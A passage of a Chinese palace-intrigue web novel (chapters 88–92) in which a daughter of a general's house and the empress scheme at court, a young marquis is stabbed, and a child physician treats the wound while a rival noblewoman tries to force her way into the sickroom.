“这天气落水挺遭罪的,怎的不先去洗个热水澡再过来?”张岚依问道。 李呈媛摇着头哽咽:“事情不清不楚,臣女就是死也咽不下这口气,无心其他事情。” “倒是个倔脾气。”张岚依勾唇笑道:“行吧,既然你想要真相大白,那本宫便抽出时间替你主持公道。” 她目光扫过在座的众人,最后落在人群末端像两个鹌鹑的张王两家小姐,朝着她们招了招手:“站那么远作甚,过来些。” 张王二人上前便直接跪在了地上,张念直接哭出声来:“皇后娘娘,冤枉啊,臣女二人没有推她,推她的另有其人啊。” 李呈媛听到张念说的话,立刻反驳道:“当时只有你们在我身后,除了你们还有谁推我下水!皇后娘娘在这里,你还敢撒谎!” 王可人听到李呈媛笃定是她们,再也忍不住开口了:“李三小姐,当时在你身后的还有你那丫鬟,你为何不怀疑她?” “我的丫鬟?”李呈媛下意识看向浑身湿漉漉的丫鬟,直接反驳道:“不可能是她,她推我又为何救我?” 王可人瞧着那丫鬟冷哼一声:“这你要问她了,心里到底在想什么,反正张念跟我这次可是没有推你下水,你也说了,皇后娘娘在这里,话不能乱说,不是我们做的,我们决计不会承认。” 李呈媛面色苍白,此刻被冻得小脸还有些发紫,她看着张念和王可人的面庞,然后骤然看向自己的贴身丫鬟。 那丫鬟瞬间跪在了地上瑟瑟发抖,不敢再吭一声。 事情如何此时已经有些明了了。 在座的都是聪明人。 张岚依懒懒的扫了一眼地上的李呈媛,挥了挥手:“行了,去洗个热水澡吧,今儿个郡主乔迁之喜的日子,本宫不予你们计较,往后别什么事情都闹到本宫这里来,本宫是六宫之主,不是你们这群小家伙的孩子王。” 燕晚清紧接着圆场笑道:“原来是闹了一场乌龙,张王两家千金也应该也是吓坏了,留下来喝口热茶,从歌赶紧扶着李三小姐去沐浴更衣,至于吴先生还是先回到男客那边吧,这里多是女眷,不方便招待你了。” 吴城南恭敬的行了个礼,然后跟着了李呈媛身后一起离开了。 张王两家小姐加了位置,顺势留了下来,这件事情就这么过去了。 至于李三小姐的丫鬟要怎么处理,那就是她自己的事情了。 燕晚清重新坐到了皇后的身边,刚落座,腰上的细肉就被掐了一下,她疼的抽了一口气。 只见张岚依的红唇朝着自己凑过来,她附耳过去便听见。 “女儿家的小打小闹,也值得你今日闹这一出?” 燕晚清微微勾唇,面上温婉可人,说道:“娘娘一贯是知道臣女的,无利不起早。” 张岚依纤细的手指戳了戳她的脑门:“你啊你,真没把本宫当外人,该用得上的时候你使劲用啊。” “娘娘说的这是什么话。”燕晚清将桌子上的橘子皮一点一点剥掉,将橘黄色的果肉放在了碟子上推过去:“真是太见外了,吃点橘子吧,今日早晨刚采购的,很甜。” 第八十八章 你的手相,和那丫头一样 且不说李三小姐承了燕晚清的人情,但就是张王两家也会对皇后一派的态度有所改变,更不用说那八百个心眼子的吴城南了。 只能说今日燕晚清这一出,明明什么都不做,只单单是将这三家小姐往张岚依面前一带,便带出了不少的人情世故。 如今七皇子和太子针锋相对,朝臣大多水深火热。 她和皇后张岚依只需要鹬蚌相争渔翁得利,远远的高座观看,便能捡漏不少。 当然,也绝对没有人会怀疑此刻的皇后竟然对皇帝有取而代之的想法,或者说这些自大的男子,从来没有将女子放在眼里,所以也根本就不会害怕和担心。 横竖皇帝薨了,皇后便要殉葬,皇后一派现在如何嚣张,往后也是树倒猢狲散,不如多花点时间在七皇子和太子之间周旋,别到时候赌错了人,将身家性命都赔进去。 午宴上,张岚依喝多了酒,燕晚清便和她的宫人一起将其送到了寝室,等到宫人服侍完,她也没有急着走,反倒是将屋内的熏香给慢慢点燃。 张岚依托着下巴就这么看着这清冷的小姑娘:“这是什么香?” “安魂香。”燕晚清眼皮子不抬的说道。 张岚依娇笑一声:“你怎知本宫夜夜不能寐?” 燕晚清将火折子吹灭在手上摆了摆:“不光娘娘如此,臣女也是,大业未成,如何能寐?” “你这小姑娘,跟你说话真是半点意思都没有。”张岚依打了个哈欠,便挥手:“去吧,本宫乏了。” 燕晚清看着她双眸清明,哪里有半分刚刚醉酒的姿态,她没有离开,反倒是直接走到了床榻边上,直接跪在了地上:“娘娘今日为何要外宿郡主府?” “你这话的意思是不欢迎本宫?”张岚依挑眉。 燕晚清双眸清澈:“娘娘应该深知,成大事者,必当谨小慎微,任何细枝末节都会直接影响甚至成为别人拿捏我们的把柄。” “本宫知道你要说什么。”张岚依坐直了身子,黑发从肩头滑落,美人在皮又在骨,妖艳的不可方物,她神情有些许落寞:“本宫心里有数。” “那边不叨扰娘娘休憩了,臣女告退。”燕晚清扶着床榻起身,恭顺的退出了房间。 言至于此,张岚依想要改变自己的命运,便不能继续沉溺于儿女情长。 那南山上的和尚,迟早会成为刺向张岚依心脏的一把利剑。 燕晚清低垂着眼眸中闪过杀意。 她不允许这盘棋局上面出现任何的变数。 倘若张岚依狠不下心,那么只有她这个当臣子的来替她做决定了。 屋内传来淅淅索索的声音。 张岚依被猝不及防的拥入了某个人的怀中,感受到熟悉的檀香,她的身体松懈下来。 “刚刚那丫头动了杀心呢。” 重瞳的男子勾唇轻笑:“那又如何。” “你们燕家的人都不简单。”张岚依靠在他的肩头,喟叹一声:“她刚刚还在警告本宫,不可太过放肆。” “后生可畏罢了。”一只紫色瞳孔里满是情愫:“倒是你,今日着实有些大胆了点。” “本宫那是相信你家后生的能力,若是这点事情都处理不好,怎么与本宫共谋大业?”张岚依转过身,伸出手扣住俊美男子的下巴,红唇轻启,呵气如兰:“还是说你心疼小姑娘了?” “还记得上次看的手相么?”男子转移了话题。 张岚依不吭声,等待他继续。 “太子命里的人就是她。” 张岚依听完完全不惊讶:“那丫头呢?” 男子摇了摇头:“看不清楚,有一层纱蒙着。” “还有你看不清楚的手相?”张岚依打趣道:“太子这段时间没事就往镇国府跑,今日乔迁之喜搬来了整整八大箱子的东西,明眼人都瞧得出来,再说了那死小孩也没有打算遮遮掩掩,哪怕是这丫头和北疆的小侯爷定亲了,我看他十有**还会做出抢亲的行为呢。” “好歹是大渭的太子,不至于做出如此不计后果的事情吧。”男子有些不敢相信。 张岚依回想这几年在宫内和萧蘋风这个毒舌吵过的架动过的手,她叹了一口气摸了摸男子的面颊:“你啊,在南山呆的太久了,不知道世道的人心险恶,那太子可不是个善茬,真是动了肝火,什么事情都做得出来,这些年装的温和有礼,都以为是给世人看的吗?” “听你这话,还有别的意思了。” 张岚依娇嗔的倒入他的怀中,在他的胸口画圈:“亏你还是男子,这点小心思竟然猜不透。” 异瞳男子宠溺的抱住她,示意她继续说。 “依稀记得当年燕晚清及笄的时候,全城轰动,几乎全京都适配的男子都曾上门提过亲,后来慢慢传出她喜欢温和有礼知进退有分寸的男子。”张岚依像是想到了什么好笑的东西,笑的咯咯喘不过气:“从那之后,太子爷就像是换了个人似的了。” “当年,他们俩之间还有过婚约呢。”张岚依突然想到唏嘘道:“可是谁曾想,这丫头竟然喜欢的是北疆小侯爷,倒是可怜了太子这些年的一往情深了。” 男子拥着她,见她说的开心,便一直侧耳倾听,用手抚摸着她的长发。 突然他开口道:“岚依。” “嗯?”张岚依抬眸看他。 男子眼眸中都是坚定:“我想娶你过门。” 张岚依愣住,她慢慢坐直身子,从他的怀抱中出来,伸出手拉起自己的衣衫盖住光洁的肩头,垂眸笑道:“别开玩笑,今日本宫喝了酒,有些话会当真的。” “一定会有这天的。” 张岚依低着头不吭声。 男子凑上前,轻声问道:“你怎么了?” 张岚依突然将自己的手递到了他的面前:“虚无,你看看本宫的手相,好久不曾帮看了。” “算命这种东西越算越薄。”虚无抓着她的手说道。 张岚依却轻笑:“本就是红颜薄命,无稽之谈罢了,帮本宫看看吧。” 虚无叹了一口气,将柔荑放在了自己的手掌上。 不知道过了多久,张岚依见他一声不吭,催促道:“怎么样了?” 虚无抬起双眸,一黑一紫的异瞳之中透露出难以置信的神采。 “你的手相,和那丫头一样。”他抿着唇:“分明半年前还是真真切切,现在竟然一点都不透了。” 张岚依收回自己的手掌,蹙眉:“你在说什么胡话。” “我知道了!”虚无突然猛地抱住了张岚依:“岚依……或许她真的能够影响你的命格!” “你的意思是那丫头——”张岚依掐着自己的手,喃喃愣住。 “必死的僵局现在迷雾弥漫,棋盘上胜负未分,鹿死谁手也未可知,若是这样,我也愿意拼尽全力和他宋化虚对上一对!只要是为了你,我什么都心甘情愿岚依!” 第八十九章 木偶,是不可能成为一个人的 屋内野鸳鸯你依我浓,再说外面安平郡主冷着一张脸走出了院子,迎面便看见了怀玉手里拿着一根冰糖葫芦,见自己出来了,她捏着糖葫芦上前:“给。” 冰糖葫芦上面还撒了芝麻,挂在晶莹剔透的糖块上,十足的讨喜,再联想到糖葫芦的酸甜,燕晚清忍不住流口水。 “今日你应该不好受吧,宴会上大多是油腻的菜色。”怀玉轻叹一口气。 燕晚清接过糖葫芦咬了一口,酸甜再加上芝麻的香气在舌尖炸开,她忍不住舒服的喟叹了一口气:“还是你懂我,可憋死我了,看着那些荤菜,我胃里翻江倒海。” “皇后娘娘歇息了?”怀玉回想刚刚她出来的神色,体贴的问道:“发生了什么事情?你刚刚脸色不是很好。” 燕晚清想到了刚刚的一幕,无奈了摇了摇头:“一点小事,很快就能处理掉,不会影响到我们的以后。” 说这话的时候,她垂眸,清冷的眸子里满是肃杀。 “那就好。”怀玉见她不愿意说,便也没有再问,想到前厅发生的事情,她开口道:“那李家的三小姐,刚刚跟张家小姐打了一架。” “不意外,那李呈媛性格执拗,张念性格泼辣,两个人针尖对麦芒,吵闹也很正常。”燕晚清摆摆手:“不用管她们,就当不知道。” “他们俩倒是一点事情没有,可怜那拉架的。”怀玉回想当时的情景,忍不住咋舌。 燕晚清好奇的问道:“拉架的是谁?” “李呈媛的姐夫呗,那个长的白白嫩嫩的,被她们俩扯头发刮脸的,最后整个人被推到了河里。” 燕晚清皱眉:“又掉河里了?”今天的河水这么受欢迎吗? 怀玉继续叹气道:“真是家家有本难念的经,今日宴会上来了不少达官贵人,李呈媛和张念这么一闹,往后可就难嫁出去了。” “兴许人家就根本不想嫁出去呢。”燕晚清又咬了一口糖葫芦含糊不清的说道:“当个有趣的事情听听算了,现在宴会上的人都散了没?我乏了,也想去小憩。” “你赶紧去吧,事情交给我。”怀玉听到她说累了,也不含糊推着燕晚清去自己的院子休息,自己拿着那剩下燕晚清不要的半根糖葫芦,一点都不扭捏直接吃了起来。 …… 燕晚清刚打算休息,房门便被敲响,她下意识心里咯噔了一声。 “何事?” 门外传来从歌有些焦急的声音:“小姐,小侯爷遇刺了!” “什么?!”刚分开不过一个时辰的功夫,怀玉怎么就遇刺了。 她赶紧丢下手里的棋子站起身往外走。 与此同时。 萧鸿深捏碎了掌心里的一盏茶杯。 “这个蠢货!” 他看向墨山:“你究竟是怎么和燕安说的。” 墨山也没有想到自己前脚跟燕安警告了这件事情,后脚他便派人在郡主府内刺杀了小侯爷。 被萧鸿深问责后,墨山只能跪在地上:“属下办事不利,请殿下责罚。” “责罚?有用么!”萧鸿深深呼吸一口气,杯盏的碎片扎入了掌心,缓缓的向外溢出鲜血,他像是没有察觉一样,双眼都是阴翳:“人抓到没?” “不曾,那人刺杀之后便服毒自缢了。” 萧鸿深听完这才神色好转了许多:“还不算太笨。” 墨山看着鲜血滴落在自己面前的地面上,神色有些许紧张,她迟疑了片刻:“……主子,血。” 萧鸿深看了一眼自己手掌上的血液,再看跪在自己面前的墨山,神色不明:“这不是你应该管的事情。” “请殿下责罚!”墨山瞬间整个人绷紧了神经。 但是今日的萧鸿深好像是疲惫了一般,他摆了摆手:“退下吧,本殿现在不想看见你,再有下次,自己进蛇窟。” “……诺!”墨山没有半分犹豫,立刻起身离开。 等出了门,日光洒在身上她才惊觉背后一阵冷汗。 身为暗卫是不应该有任何情绪的,一旦情绪外露她便失去了成为殿下左膀右臂的资格。 墨山抬手猛地给了自己一巴掌,声音很响,闷声下去,脸颊迅速浮起了一个鲜红的巴掌印。 但是她就像是毫无知觉一样,看着隐约发麻的手掌心,她抿了抿唇。 这样才对。 以后切记不能再犯同样的错误了。 像她这样的人,就应该永远的活在阴暗的臭水沟里,能够跟着殿下站在人前已经是天大的恩赐,又怎么能够再去、再敢肖想其他不属于自己的东西呢? 墨山啊墨山。 你只是个像人的木偶。 你永远不可能成为一个真正的人。 双眸平淡如同一潭死水,她站在门外,却好似瞬间融入了自然里面,平淡无奇,没有了任何的存在感。 这样才对。 画面拉回郡主府。 怀玉单手捂住自己的腹部,今日她穿了一身宝蓝色的长袍,此刻鲜血已经逐渐将衣衫染成了黑色。 而她的正前方躺着一个灰色袍子的私人,面上带着黑布,黑布被扯下之后,露出一张布满刀疤的面容,根本分辨不出此人之前长什么样。 她本来是在门口送客,眼看着客人都要送走就可以关门回院子休息了。 这人便挑着一担子米糕从门口走过吆喝。 怀玉想着燕晚清可能会喜欢吃,便喊住了他,刚选好两块带着红枣的米糕,掏出银子付账的时候,这人趁着找钱的功夫从担子下面掏出了一把匕首直勾勾的朝着自己刺了过来! 倘若不是她还有两下拳脚功夫,只怕这一刺便会直接戳进心脏,她怀玉就要当场殒命了! 真是好歹毒的心思! 怀玉抿着唇,双眸里此刻都是寒霜:“去查。” 她挥手,郡主府的家丁们便迅速出去开始四处排查。 “小侯爷,您的伤!”还有未走的客人惊呼的指着她的伤口:“得赶紧喊大夫过来。” 怀玉听罢眼中闪过不安,她捂着伤口,扯出一个勉强的微笑:“不用,小伤而已。” “这怎么能是小伤呢,您都流了这么多血了!”突然有个轻柔的女声从旁边响起,一袭鹅黄色罗裙的女子走了出来,她用帕子捂着嘴,眼眶湿润:“还是快点喊大夫过来吧,人命关天,小侯爷可不能马虎了。” 说话的正是今日午宴上的王家小姐,王可人。 她面色焦急不似作假,更是直接上手扶住摇摇欲坠的怀玉,怀玉躲闪不及,被她扶了上来,刚要说话,便听见一道清冷的嗓音响起。 “你们在干什么!” 第九十章 不用担心,我回来了 燕晚清急匆匆的从内院跑出来,刚好就看见一个女子扶着怀玉,在她耳边亲切的说着什么东西,两个人的亲密的就像是耳鬓厮磨,吓得她一身冷汗。 这比让她听到怀玉被刺杀还要吓人。 “你们在干什么!”她惊呼出声。 她快步走过去,怀玉此刻已经迅速和女子拉开了距离,燕晚清这才看到这女子竟然是个熟人。 “王家小姐,你还没有回府呢?”燕晚清淡淡的说道。 王可人面颊上升腾起一抹红晕,她有些紧张的捏着帕子:“原是要走的,但是突生变故,眼下小侯爷身后重伤,需要大夫医治,还请郡主速速请大夫过来。” 燕晚清看着怀玉腹部的伤口,血流不止,确实伤的不轻。 但是怀玉身上有秘密,一般的大夫,她可不放心。 于是燕晚清示意从歌去扶着怀玉,看着王可人说道:“多谢王家小姐提醒,本郡主知道了。” 她转过身看向怀玉,两个人眼神交流。 燕晚清:“还行么?” 怀玉:“放心,死不了。” 燕晚清:“那就好。” 她不懂医术,眼下郡主府又刚搬过来,身边也没有信任的大夫,确实是一件比较棘手的事情。 燕晚清上前扶住怀玉的另一边,小声开口:“这怎么办?你身边可有信任的人?” 怀玉摇头苦笑:“没事,我懂点医术,自己来。”反正这么多年都是这么过来的。 好不容易扶着她到了屋内,燕晚清已经累出了一身的汗。 起身擦汗的功夫,就看见王可人站在门口,对着屋内探头探脑。 燕晚清瞬间心中升腾出一股子不喜:“王家小姐还没走?” 王可人眼睛盯着屋内的怀玉,轻声细语道:“小侯爷受了这么重的伤,极大程度上也是因为臣女,若不是为了救臣女,以小侯爷的武技,肯定是不成问题的。” 听着这话,燕晚清蹙眉看向怀玉:“你英雄救美了?” 怀玉此时疼的脸色都要发青,流血过多让她脑袋浑浑噩噩,来不及说一句话,直接昏倒在了床榻上。 燕晚清立刻紧张起来,她招手对从歌说道:“去送王家小姐出去,另外立刻让人去把附近的大夫请过来。” 从歌脚步匆忙的走到了门边,见王可人依旧赖着不走,脸色冷下来:“王小姐,请!” 王可人眼眶里都是泪水,她绞着帕子,转过身去,从歌便将门直接关上了。 见闲杂人等没有了,屋内燕晚清迅速脱掉了怀玉身上的衣服。 等看到伤口的瞬间,她忍不住倒吸一口气。 除了那一道血肉模糊,肉皮外翻的新伤之外,怀玉的身上还遍布着其他大大小小的伤口,这些伤疤大多数是圆形,层层叠叠,将原本应该光滑白皙的皮肤全部摧毁,只留下可怖的伤疤。 她没有留自己感叹太多时间,迅速用干净的麻布将她身上的伤口摁住,现在只能等大夫来了,希望怀玉可以撑得久一点。 要是六妹此刻在家,就好了。 燕晚清脑海中突然闪过了这个想法。 两世都没有依赖过别人的她,顺便被这个想法吓了一跳。 耳边是昏迷人不断的痛苦呢喃,燕晚清心急如焚,好在是从歌的办事效率很高,大夫很快被请了过来。 大夫一进门,便闻到了满满的血腥味。 燕晚清白皙的双手上都是鲜血,但是表情还算是冷静,她让大夫上前查看情况,自己退到了一边。 “伤口比较深,眼下倘若不立刻止血,只怕命不久矣啊。”大夫叹了一口气说道。 燕晚清拧着眉头:“请您无论如何要救活她!” 怀玉的人生才刚刚开始,怎么可以止步于此?! 燕晚清感觉到自己的心率加快,她坚定语气:“不论用什么办法。” “为今之计,只能是用烧红的铁烙摁在伤口处,让周围的皮肉迅速粘粘在一起,从而让伤口止血了。”大夫说道。 “铁烙?”燕晚清愣住,回忆刚刚怀玉身上大大小小的伤口,她捏紧了双拳。 烧红的铁烙,那怀玉该有多疼啊…… 燕晚清看着昏迷中满头冷汗的怀玉,眼眶猩红。 “既然如此,那便劳烦大夫了……”燕晚清闭上双眼,沉声冲着外面喊道:“从歌,准备炭炉和铁烙。” 等炭炉烧的旺盛,铁烙也从黑色变成了通红色,大夫拿着铁烙朝着床榻上的怀玉走过去。 只要这铁烙摁在人皮上,便会发出噼里啪啦的烧焦声响,大夫还没有下手,燕晚清已经头皮开始发麻了。 一步,两步,三步…… 眼看着大夫站在了床榻边上,手里的铁烙就要摁上去伤口,燕晚清屏住了呼吸! 就在这时! “住手——!你这庸医!”娇俏的声音从门外响起,下一秒燕凌珍冲了进来。 燕晚清捂住粉唇,眼眶中一滴热泪瞬间溢出:“小六!” 燕凌珍风尘仆仆的冲了过去,一把抢过铁烙,丢回去了炭炉,心里才松了一口气。 她看向燕晚清:“阿姐不用担心,我回来了。” 燕晚清点点头,此刻的她说不出话。 不过被骂作庸医的大夫心里可就不高兴了:“胡闹,本大夫治病救人,你这丫头还敢干扰,这可是人命关天的大事情,郡主还不速速让令妹退下!” 燕晚清还没说话,燕凌珍便直接翻了白眼:“什么年代了,还用铁烙止血,说你是庸医你还不高兴了。” 她上前仔细的查看了伤口,然后将自己身上的药箱放在了边上,先从里面掏出了一根银针,迅速扎进了怀玉的穴位上,原本还在往外溢出鲜血的伤口,明显缓慢了些许。 只一针下去,燕凌珍的额头便渗出了冷汗。 旁边原本还想要叫嚣的大夫,瞬间噤声,老老实实的站在了旁边不吭声了。 “阿姐,我要热水,烈酒,针线还有火烛。”燕凌珍冲着燕晚清说道,燕晚清立刻出门准备去了。 屋内便只剩下了燕凌珍,榻上昏迷不醒的怀玉还有旁边想要偷学的大夫。 燕凌珍从怀中掏出一个罐子,倒出来一颗黑色的丸子,塞进了嘴里。 大夫好奇的问道:“你吃的是什么?” “冰山雪莲熬出来的小药丸,你肯定知道干我们大夫这一行的,最是需要时刻耳目聪明,这一颗下去,能管三天。” 大夫有些眼馋:“小神医你制作了不少药丸,这么大的罐子。” 燕凌珍点点头:“这是游历剩下的。” “能分我一颗么?”大夫舔着个脸说道。 燕凌珍很大方的给了他一颗,大夫放在掌心里轻轻的嗅了一下,只觉得一股子药香从鼻息间钻进去,瞬间提神醒脑,他当即便服下了。 燕凌珍看着他的动作,勾唇笑笑没有动作。 那边燕晚清很快准备好了东西,燕凌珍没让她进来:“阿姐还怀有身孕,不适合看这些。” “怀玉她……” 燕凌珍一本正经:“阿姐可是不放心小六?” 燕晚清立刻摇头:“我自然是放心你的。” “那阿姐就先回去休憩,明日小六保管怀玉生龙活虎的出现在阿姐的面前。”燕凌珍说完这话便直接将门给关上了。 屋内,大夫一脸严肃的看着她:“小神医,若是您不嫌弃,老朽愿意给您打下手啊。” 第九十一章 手若是不想要,便试试 燕凌珍没有拒绝大夫的请求,她先用热水洗干净双手,然后走到了床榻边上。 此时的她虽然依旧是小孩子的躯壳,但是神情十分冷凝:“待会儿我想要什么,你就递给我什么,别的废话我一句都不想听见。” “你……”大夫不满燕凌珍的说话方式,明明刚刚在郡主面前还是个小丫头可爱的模样,怎么门一关就跟变了个人一样,像个小妖怪,但是他想了想这是一种全新的止血法子,他若是学会了不知道往后可以提高多少诊金,那明年住上大宅子给自己的儿子娶媳妇的钱也会有了,想到这里,大夫咳嗽了一声:“小神医请放心。” 燕凌珍似乎是知道这大夫留下来是存了别的心思,但是此刻她已经不想再去计较这些了。 怀玉的伤势确实严重,自己回来之前已经流了很多的血。 现在也不能人工输血给她,只能先把伤口缝合了,后面再用中药的法子慢慢的补养气血了。 这样想着,燕凌珍拿起那壶酒往自己嘴里倒了一口,然后开口道:“开始吧。” 时间一分一秒过去,燕晚清一直坐在院子里没有走。 倒不是不放心燕凌珍,只是她觉得这种时候,自己哪怕是在外面等着,心里也会好受一点。 当然,不止她一人没走。 那王家小姐走了又回来了,还从家中带了不少药材过来,说是要给小侯爷补气血。 燕晚清也没有拒绝。 真的只是报恩的话,她没有理由去拒绝。 燕晚清坐在院子里等候,王可人便在门口来来回回的走。 下午的日头很快落了山,整个院子里都漆黑下来,屋内点上了烛光,但是燕凌珍还没有出来。 已经过去了整整五个时辰。 晚间风凉,从歌拿出披风给燕晚清披上。 “小姐,要不先回去吧,您都等了五个时辰了。”从歌担心燕晚清的身体。 燕晚清面色疲惫,她想了想说道:“也好,回去换件衣服。”她身上还穿着今日迎宾的衣服,此时勒着身躯,多少有些不舒服。 刚站起来,燕晚清便觉得眼前一黑,吓得从歌赶紧扶住她。 紧接着燕晚清便听见从歌惊呼一声:“小姐!” 燕晚清只觉得鼻间温热,她伸出手一摸,很湿润。 眼前的黑色逐渐恢复了正常,她看清楚了指缝间的鼻血。 “帕子递给我。”燕晚清轻声说道,接过帕子她用手捂住了鼻间:“扶着我回去。” 从歌担忧道:“要不要喊……” “先回去,我不碍事,怀玉的事情要紧。”燕晚清转过身子不让别人看见自己流血,让从歌扶着自己往外走。 王可人只看见燕晚清被丫鬟扶着急匆匆的往外走,她微微蹙眉摇了摇头,自己继续等。 到底是娇生惯养,如果不是陛下赐婚,小侯爷怎么会甘愿和这样冷心冷血的女子捆绑在一起。 王可人越想越替怀玉感到不值。 想到今天下午怀玉推开自己,然后替自己挡匕首的行为,王可人面颊又染上了粉色。 真希望小侯爷没有事情,天底下怎么会有说话这般温柔,又长得这么好看的男子啊…… 王可人面上表情多变,静悄悄的在门外等候着。 又过了半个时辰。 门突然被推开。 王可人赶紧迎了上去,却突然止住了脚步:“你是?” 只见一个毛毛躁躁的小丫头推门走出来。 燕凌珍此刻累的半睁着一只眼睛,只想找个房间倒头就睡,谁曾想被人给挡住了。 她皱皱眉头,打算从旁边走过去,却没有想到被抓住了衣服。 “小丫头,里面的人情况怎么样了?你师父呢?”王可人往里面探头,她下意识就将燕凌珍当成了大夫的小药童。 燕凌珍被抓着衣襟动弹不了,心情开始有些不爽了:“松手。” “你师父呢?怎么就你出来了,小侯爷情况如何。”说着王可人就抬脚往里走。 燕凌珍必不可能让她进去,伸出一只手挡住:“你哪位?” 眼下怀玉只盖了一层被子,穿着单薄的内衫,这女的若是进去,岂不是乱套了。 刚刚她已经警告过了大夫不要出去乱说话,眼下这莫名其妙的女的到底是从哪来的,怎么没有人管管。 “不得无礼!”王可人还没有说话,身边的丫鬟就着急忙慌的开口道:“这是王家的小姐,你这小药童可真是没有礼貌,还不速速让开,不要挡住我家小姐的去路。” “王家?”燕凌珍混沌的脑袋里根本没有这号人:“不认识。” “你!”小丫鬟为燕凌珍不知道王可人是谁感到了愤怒。 王可人柔声说道:“别生气铃铛,小孩子家家脑子里哪里知道这些。”她又看向燕凌珍,用自己温柔的嗓音继续道:“小药童还请让让,让我进去看看小侯爷。” “小侯爷刚刚治疗结束,眼下不能见客。”燕凌珍想都不想的拒绝。 王可人哪里肯离开,她希望怀玉一睁眼看到的人就是自己,于是她继续说道:“我保证不打扰到小侯爷,静悄悄的在房间里看他一眼便足矣。” “不行。” “你这丫头怎么回事,你师父呢?你师父都没说话呢,轮得到你开口吗?”那个叫铃铛的丫鬟破口大骂。 声音很是吵闹,燕凌珍当下冷了脸:“闭嘴。” 铃铛脸瞬间气红了:“你算是什么东西,竟然敢让我闭嘴!” “吵什么吵!不知道病人要静养吗?”刚刚在屋内消化完自己吃了一毒药的大夫从屋里走了出来,听见门外吵吵闹闹,他气急败坏的走了出来。 见大夫出来,王可人赶紧上前说道:“小侯爷伤势如何?” 大夫看着王可人:“你是谁?” 铃铛在旁边刚要介绍,便听见燕凌珍开口:“都听不见么?病人要休息。”她抬起胳膊肘便将门口拥挤的人给推开,然后转过身将门给关上了。 王可人被推的一个趔趄,还好是被自家眼疾手快的丫鬟扶住了,不然就要摔在地上丢脸了。 当下她脸色也有些阴沉,铃铛见自家小姐差点被推倒,抬手便想给燕凌珍一个教训。 燕凌珍也不躲,她直勾勾的看着铃铛:“你这手若是不想要,便试试!” 铃铛被燕凌珍看的周身一冷,她没有想到一个小小年纪的丫头,竟然有如此摄人心魂的眼神。 等到她反应过来,不由得又有些恼羞成怒。 一个小药童能有什么,打了便打了,那大夫也不敢冒一个屁。 正想着手就呼了过去,旁边的大夫吓得差点肝胆俱裂,老命都不要的就往前挡住,铃铛的手直接拍在了大夫的脸上,发出了一声脆响。 大夫捂着脸站着,心里感叹道还好是没打到这个小祖宗,刚刚在屋里他可是听得真真切切,这邋里邋遢的丫头是安平郡主的六妹! “你吃了熊心豹子胆吗!”大夫指着铃铛骂道:“竟然敢对镇国府六小姐动手!” “什么?六小姐……”铃铛往后大退一步,从台阶上直接摔倒在地,她愣住了。 燕凌珍站在台阶上,居高临下的看着她:“都跟你说了,手若是不想要,便试试,你非要试,待会儿可想好如何向我家阿姐求饶了?” 她也不想狐假虎威,但是阿姐的名声实在是太好用了。 第九十二章 如此妒妇,怎堪良配 大夫看着那铃铛,脸颊被打的此刻烧灼疼痛。 这丫鬟心真黑,下手真狠,若真是打在这丫头的身上,指不定要怎么着呢。 他身上被丫头下了毒,刚刚给挡了一下,希望能够让她有点好感,尽快将解药给他。 想到这里,大夫冷着脸说道:“你们主仆二人真是好笑,都说了小侯爷此刻需要休息,你这个当小姐的还非要往里闯,未出阁的女子竟然如此不知羞耻,简直是给你父亲丢脸!” 王可人被当着面说这些,眼中闪过恶毒,但是很快她掩盖过去,神情悲伤的说道:“小侯爷是我的救命恩人,他是因为我才受伤的,所以不免有些担心则乱了,刚刚铃铛惊扰到了六小姐,可人在这里给六小姐赔罪了。”说着王可人给燕凌珍行了个礼。 燕凌珍困得就要头点地,听着她故意捏着样子说出来的话,只觉得反感的不行。 “行了行了,都退出去。”她挥挥手,困得很,懒得跟她们计较。 本来燕凌珍还想找个别的地方睡觉,但是看着这王家小姐贼心不死的样子,她重新推开了门走了进去。 今日便只能将就一下自己,和怀玉睡一块了。 看着燕凌珍进去,王可人皱眉:“六小姐这是?” “跟你没关系。”她说着就要关门,但是王可人哪里肯,她进不去看小侯爷,凭什么这小丫头片子能进去。 铃铛看着自家小姐上前,赶紧从地上爬起来,也去推门。 “虽然你年纪尚幼,可再过几年也是要及笄的,孤男寡女共处一室多有不妥,六小姐还是出来吧。”王可人说道。 燕凌珍一看她的神情便知道这厮是什么肮脏的心思,见主仆二人都在推门,她气不打一处来。 “小侯爷是我姐夫,我阿姐现在不能照顾,我照顾怎么了?王家小姐你的脑子里只有风花雪月么?!笑死个人,赶紧给小爷撒手。” “多我一个也方便打下手。”王可人一只脚踩着门里面,不肯退出去。 燕凌珍赶了一天一夜的路,回来就给怀玉治疗了这么长时间,现在还遇到这不长眼的主仆二人,她索性松开了扣在门上的手。 不行了,乏了。 毒倒再说吧。 手刚放在袖子里,便见那丫鬟铃铛突然朝着自己压过来,紧跟着王可人便侧身从旁边挤进了屋子里。 燕凌珍紧蹙眉头,眼神都冷了下来。 这王家小姐,当真是个不知死活的东西! “站住!”燕凌珍低喝一声。 王可人好似没有听见一般,直接朝里面走去。 “再走一步,后果自负。”清冷的声音从门口传来,王可人认识声音的主人,瞬间停在了原地。 只看见换了一身衣服的燕晚清站在门口,她面容冰冷。 王可人转过身给燕晚清行礼。 燕晚清看着她跪在地上,没有丝毫要让她起来的意思,眼神讥讽:“王家小姐,深更半夜的往本郡主未婚夫的屋子里硬闯,意欲何为?” 王可人被说的浑身一颤,眼眶迅速积聚泪水:“郡主……臣女没有这个意思,只是担心小侯爷的伤。” “担心他的伤?”燕晚清轻笑一声,超前走了两步,站在了王可人面前:“你是谁?以什么身份来担忧本郡主未婚夫的伤。” “就是就是,真是不知羞。”燕凌珍见自家阿姐来了,又恢复了小女孩的姿态,拉着阿姐的衣摆,靠了上去。 燕晚清单手抚摸着燕凌珍的小脑袋,眼神依旧落在瑟瑟发抖的王可人身上:“王大人身为礼部要员,怎么会教出你这样的女儿,本郡主很是心寒。” 此话已经非常重了,王可人向来心思深沉,听到这话出来,登时小脸煞白。 自己今日是有些莽撞了,白日里见安平郡主脾气好,刚刚她又不在,便一时鲁莽,但是谁曾想这安平郡主去而复返,还看到了自己这般行为,若是因为自己连累到了父亲,父亲肯定会杀了她的。 “求郡主恕罪,臣女有罪!”王可人趴在地上卑微的说道。 那铃铛见自家小姐跪地求饶赶紧也跟着进来,跪在了地上:“都是奴婢的错,郡主要罚便罚奴婢吧,跟我们家小姐没关系啊。” “见了鬼的没关系。”燕凌珍困得不行,靠在燕晚清身上,听到这种话,忍不住吐槽道:“刚刚你拦住我,就是想让你家小姐进屋。” 